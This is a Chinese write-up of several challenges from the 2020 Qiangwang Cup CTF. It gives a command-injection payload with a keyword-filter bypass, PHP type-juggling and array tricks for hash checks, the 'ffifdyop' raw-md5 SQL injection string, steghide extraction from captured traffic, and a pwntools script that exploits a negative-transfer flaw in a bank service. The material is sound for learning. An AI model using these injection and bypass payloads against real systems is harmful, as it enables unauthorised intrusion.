2020第四届强网杯全国网络安全挑战赛

又称PWN杯,题型分类数量严重不均。不记奇怪的MIX分类【强网先锋】,数量:PWN=(Crypto+Misc)×3。

没做出几题,蒟蒻。


Misc

签到

简单粗暴。

强网先锋

主动

http://39.96.23.228:10002

简单RCE。

/?ip=127.0.0.1;ls 列目录发现 flag.php

/?ip=127.0.0.1;cat flag.php 提示 no flag,过滤了关键字 flag

/?ip=127.0.0.1;a=ag.php;b=fl;cat $b$a 绕过关键字,查看注释拿到flag。

Funhash

hash is really fun. http://39.101.177.96/

绕过套娃。

  • level 1

    $_GET["hash1"] != hash("md4", $_GET["hash1"])

    md4加密前后字符串相等,PHP弱类型比较,易想到科学计数法表示的0e开头字符串可绕过。

    寻找满足条件的0e串:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    $i = 0;
    $c = 0;

    while (true) {
    if ((++$c % 1000000) == 0) {
    printf(".");
    }

    $n = "0e" . $i++;
    $h = hash('md4', $n);

    if ($n == $h) {
    printf("\nFound: $n\n");
    break;
    }
    }
    //Found: 0e251288019

    PAYLOAD1: hash1=0e251288019

  • level 2

    $_GET['hash2'] === $_GET['hash3'] || md5($_GET['hash2']) !== md5($_GET['hash3'])

    需要hash2hash3的值相等且md5值不等,强类型比较,所以只能用经典数组方法绕过。

    md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。

    PAYLOAD2: hash2[]=aaa&hash3[]=bbb

  • level 3

    $query = "SELECT * FROM flag WHERE password = '" . md5($_GET["hash4"],true) . "'";

    md5(string,raw)

    string 必需。规定要计算的字符串。
    raw 可选。规定十六进制或二进制输出格式:TRUE - 原始 16 字符二进制格式;FALSE - 默认,32 字符十六进制数。

    寻找一个字符串,其md5值的16字符二进制形式能使 WHERE 部分为真,用经典绕过字符串ffifdyop,经过md5函数后结果为 'or'6�]��!r,��b

    PAYLOAD3: hash4=ffifdyop

upload

附件:data.pcapng

Wireshark查看流量包,发现steghide.php,内含一张jpg图,导出并还原

根据文件名steghide提示,steghide隐写,命令一把梭,密码为弱密码123456:

steghide extract -sf steghide.jpg -p 123456

bank

nc 39.101.134.52 8005

hint: pow的字符集为大小写字母+数字

nc交互题,过了sha256认证后,输入名字:

image-20200823125129016

可以发现初始cash=10,而get flag需要cash=1000。

transact可以与任一用户交易cash,view records可以查看交易值大于100的记录,provide a record 提供交易记录,hint发现交易加密方式为ECB,加密内容为发送者+接收者+交易值。

既然需要从cash=10增加到cash=1000,由于transact的交易额没有任何限制,那么交易负值岂不可以从任一用户处得到cash?尝试发现居然可行,直接非预期拿到flag,神奇三血……

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
from parse import *
from pwnlib.util.iters import bruteforce
import string
from hashlib import sha256

def brute_force(prefix,s):
return bruteforce(lambda x:sha256(x+prefix).hexdigest()==s,string.ascii_letters+string.digits,length=3)

r = remote("39.101.134.52",8005)
data = r.recvline()
prefix, s = parse("sha256(XXX+{}) == {}",data)
r.recvuntil('Give me XXX:')
r.sendline(brute_force(prefix,s))
r.recvuntil('teamtoken:')
r.sendline('icq109e2eff64d5d38cd2a0191b42cff')
r.recvuntil('give me your name:')
r.sendline('ssss')
r.recvuntil('>')
r.sendline('transact')
r.recvuntil('>')
r.sendline('ttt -1000')
r.recvuntil('>')
r.sendline('get flag')
print(r.recvall())